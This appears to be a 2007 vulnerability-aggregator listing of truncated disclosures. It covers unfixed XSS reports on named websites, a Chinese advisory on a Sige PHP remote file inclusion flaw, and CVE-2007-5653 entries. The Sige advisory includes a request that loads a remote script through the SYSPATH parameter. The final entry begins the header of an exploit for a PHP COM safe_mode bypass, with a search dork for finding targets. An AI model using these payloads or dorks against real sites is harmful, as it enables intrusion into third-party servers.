Unfixed XSS vulnerability at wap.mig33.com

Security researcher h4v0c-, has submitted on 17/11/2007 a cross-site-scripting XSS vulnerability affecting wap.mig33.com, which at the time of submission ranked 15076 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 23/11/2007. It is currently...

Unfixed XSS vulnerability at www.tinlizzie999.com

Security researcher SeeD, has submitted on 11/12/2007 a cross-site-scripting XSS vulnerability affecting www.tinlizzie999.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 11/12/2007. It is currently...

Unfixed XSS vulnerability at galleries.allover30.com

Security researcher TreX, has submitted on 11/12/2007 a cross-site-scripting XSS vulnerability affecting galleries.allover30.com, which at the time of submission ranked 3931 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 18/12/2007. It is...

Unfixed XSS vulnerability at www.bot258.com

Security researcher THE-SH0CK-B0Y, has submitted on 11/10/2007 a cross-site-scripting XSS vulnerability affecting www.bot258.com, which at the time of submission ranked 109026 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 13/10/2007. It is...

Unfixed XSS vulnerability at dkjfwekjnc4.com

Security researcher kusomiso.com, has submitted on 11/09/2007 a cross-site-scripting XSS vulnerability affecting dkjfwekjnc4.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 13/09/2007. It is current...

Unfixed XSS vulnerability at www.ag34.com

Security researcher BackDoor, has submitted on 11/09/2007 a cross-site-scripting XSS vulnerability affecting www.ag34.com, which at the time of submission ranked 9318038 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 13/09/2007. It is currentl...

Unfixed XSS vulnerability at www.apt7979.com

Security researcher cyber, has submitted on 11/08/2007 a cross-site-scripting XSS vulnerability affecting www.apt7979.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 21/08/2007. It is currently...

Unfixed XSS vulnerability at www.volkandemirel1.com

Security researcher GeFORC3, has submitted on 11/08/2007 a cross-site-scripting XSS vulnerability affecting www.volkandemirel1.com, which at the time of submission ranked 991318 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 21/08/2007. It is...

Unfixed XSS vulnerability at www.whiten2.com

Security researcher PanzErTurK, has submitted on 11/02/2007 a cross-site-scripting XSS vulnerability affecting www.whiten2.com, which at the time of submission ranked 4682689 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 12/02/2007. It is...

Sige Sige_Init.PHP远程文件包含漏洞

Sige是一款基于PHP的WEB应用程序。 Sige不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB权限执行任意PHP代码。 问题是由于'SigeInit.PHP'脚本对用户提交的'SYSPATH'参数缺少过滤，指定远程服务器上的任意文件作为包含参数，可导致以WEB权限执行任意PHP代码。 Sige 0.1 目前没有详细解决方案提供： http://sourceforge.net/projects/pfadmin http://www.example.com/inc/sigeinit.php?SYSPATH=http://example2.com/scripts/020.t...

Airkiosk/formlib application is XSS vuln

In the last week I've found a XSS vuln into the Sutra's Airkiosk application for the realtime distribution of flights/booking and check-in interface www.airkiosk.com. The XSS is possible because they are using a VULN/OLD formlib.pl in their application that permits to execute any JavaScript you...

Unfixed XSS vulnerability at www.site333.com

Security researcher Space-cowboY, has submitted on 29/10/2007 a cross-site-scripting XSS vulnerability affecting www.site333.com, which at the time of submission ranked 5884088 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 04/11/2007. It is...

Unfixed XSS vulnerability at www.t95.com

Security researcher St@R-gaZ3r, has submitted on 28/10/2007 a cross-site-scripting XSS vulnerability affecting www.t95.com, which at the time of submission ranked 1946061 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 04/11/2007. It is current...

Unfixed XSS vulnerability at www.game315.com

Security researcher St@R-gaZ3r, has submitted on 28/10/2007 a cross-site-scripting XSS vulnerability affecting www.game315.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 04/11/2007. It is currently...

Unfixed XSS vulnerability at www.icn2007.com

Security researcher St@R-gaZ3r, has submitted on 28/10/2007 a cross-site-scripting XSS vulnerability affecting www.icn2007.com, which at the time of submission ranked 8619984 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 29/10/2007. It is...

Unfixed XSS vulnerability at www.mnet27.com

Security researcher St@R-gaZ3r, has submitted on 28/10/2007 a cross-site-scripting XSS vulnerability affecting www.mnet27.com, which at the time of submission ranked 3959223 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 04/11/2007. It is...

Design/Logic Flaw

The Component Object Model COM functions in PHP 5.x on Windows do not follow safemode and disablefunctions restrictions, which allows context-dependent attackers to bypass intended limitations, as demonstrated by executing objects with the kill bit set in the corresponding ActiveX control...

CVE-2007-5653

The CVE-2007-5653 entry concerns PHP 5.x on Windows where COM functions do not honor safe_mode or disable_functions, enabling context-dependent bypass of intended restrictions. The description cites concrete examples related to com_load_typelib and interactions with ActiveX/Windows components suc...

CVE-2007-5653

The Component Object Model COM functions in PHP 5.x on Windows do not follow safemode and disablefunctions restrictions, which allows context-dependent attackers to bypass intended limitations, as demonstrated by executing objects with the kill bit set in the corresponding ActiveX control...

PHP 5.x COM functions safe_mode and disable_function bypass

No description provided by source. ?php //PHP 5.x COM functions safemode and disablefunction bypass //author: shinnai //mail: shinnaiatautisticidotorg //site: http://shinnai.altervista.org //dork: intitle:phpinfo intext:"php version" +windows thanks to rgod...